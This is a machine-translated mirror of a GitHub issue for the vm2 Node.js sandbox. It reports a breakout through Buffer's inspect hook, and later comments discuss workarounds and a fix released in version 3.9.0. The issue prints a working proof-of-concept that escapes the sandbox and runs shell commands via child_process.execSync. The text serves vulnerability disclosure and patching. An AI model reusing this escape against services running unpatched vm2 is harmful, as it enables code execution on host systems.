Vm2: Breakout dengan inspect

Dibuat pada 1 Mar 2020  ·  11Komentar  ·  Sumber: patriksimek/vm2

Kode berikut dapat digunakan untuk keluar dari vm, dan misalnya menjalankan perintah di shell.
Ini telah dilaporkan di # 187 di sini , ini masih berfungsi pada node 13.6.0 dan vm2 v3.8.4

const {VM} = require('vm2');
const vm = new VM({
    wasm: false,
    timeout: 2000,
    sandbox: {},
    eval: false,
});

const malicious = '(' + function(){
    try { require('child_process').execSync("idea") } catch(e){}  // Not getting executed

    let buffer = {
        hexSlice: () => "",
        magic: {
            get [Symbol.for("nodejs.util.inspect.custom")](){
                throw f => f.constructor("return process")();
            }
        }
    };
    try{
        Buffer.prototype.inspect.call(buffer, 0, { customInspect: true });
    }catch(e){
        e(()=>0).mainModule.require('child_process').execSync("winver") // Actually opens winver
    }
}+')()';
vm.run(malicious)
bug confirmed

Komentar yang paling membantu

@mxschmitt Baru saja dirilis sebagai 3.9.0. Saya minta maaf atas keterlambatannya.

Semua 11 komentar

@patriksimek Masalah ini telah diperbaiki dalam master, namun perbaikan datang dengan https://github.com/patriksimek/vm2/pull/242 yang ada setelah versi 3.8.4. Jadi mpn tidak memiliki perbaikan ini.

Ini tetap terbuka sampai v3.8.5 keluar.

Apakah kita punya ETA?

@ jan-osch Karena @patriksimek sepertinya tidak aktif, saya tidak tahu.

@XmiliaH terima kasih atas jawaban Anda dan semua kontribusinya!

Menurut Anda, apakah solusi dengan patch monyet seperti itu akan mencegah breakout hingga kami menerbitkan versi yang diperbarui?

const vm = new NodeVM({
  console: 'off',
  sandbox: {
    console: consoleInterface,
    setTimeout,
    print,

    // TODO remove once vm2 fixed the breakout issue
    // Reference: https://github.com/patriksimek/vm2/issues/268
    Buffer: {
      ...Buffer,
      prototype: new Proxy(Buffer.prototype, {
        get(object, property) {
          if (property === 'inspect') {
            return () => {
              console.log('[BREAKOUT_ATTEMPT]'); // eslint-disable-line no-console
              consoleInterface.error('Nice try! This breakout attempt will be reported');
            };
          }
          return object[property];
        },
      }),
    },
  },
  require: { // here define modules that can be required
    builtin: [
      // some list
    ],
    external: [
      //...
    ],
  },
});

return vm.run(code, SCRIPT_PATH);

@ jan-osch Itu bukan soultion yang bagus:
1) Ini melupakan kunci [Symbol.for ("nodejs.util.inspect.custom")].
2) Memungkinkan untuk menulis ke prototipe Buffer host.
3) Masalahnya adalah console.log juga akan memicu masalah ini dan solusi Anda tidak melawan itu.

Sayangnya tidak ada solusi yang mudah.

Berikut ini adalah perbaikan hacky sementara yang tidak teruji:

function hacky_fix(vm) {
    const internal = vm._internal;
    const old = internal.Decontextify.object;
    const handler = {__proto__: null};
    internal.Decontextify.object = (object, traps, deepTraps, flags, mock) => {
        const value = old(object, traps, deepTraps, flags, mock);
        const better = new Proxy(value, handler);
        internal.Decontextify.proxies.set(object, better);
        internal.Contextify.proxies.set(better, object);
        return better;
    };
}

Ini menambal fungsi internal, jadi gunakan dengan hati-hati.

Terima kasih @XmiliaH! Apakah Anda mengetahui proyek apa pun dengan rangkaian pengujian untuk kasus breakout seperti itu? Saya ingin menambahkan beberapa tes breakout ke CI saya sebagai sistem peringatan dini

Kami memiliki beberapa kasus uji di test / vm.js. Cari saja serangannya dan Anda akan menemukan kasusnya.

pengingat ramah @patriksimek akan sangat bagus jika Anda bisa merilis versi baru.

@mxschmitt Baru saja dirilis sebagai 3.9.0. Saya minta maaf atas keterlambatannya.

Apakah halaman ini membantu?
0 / 5 - 0 peringkat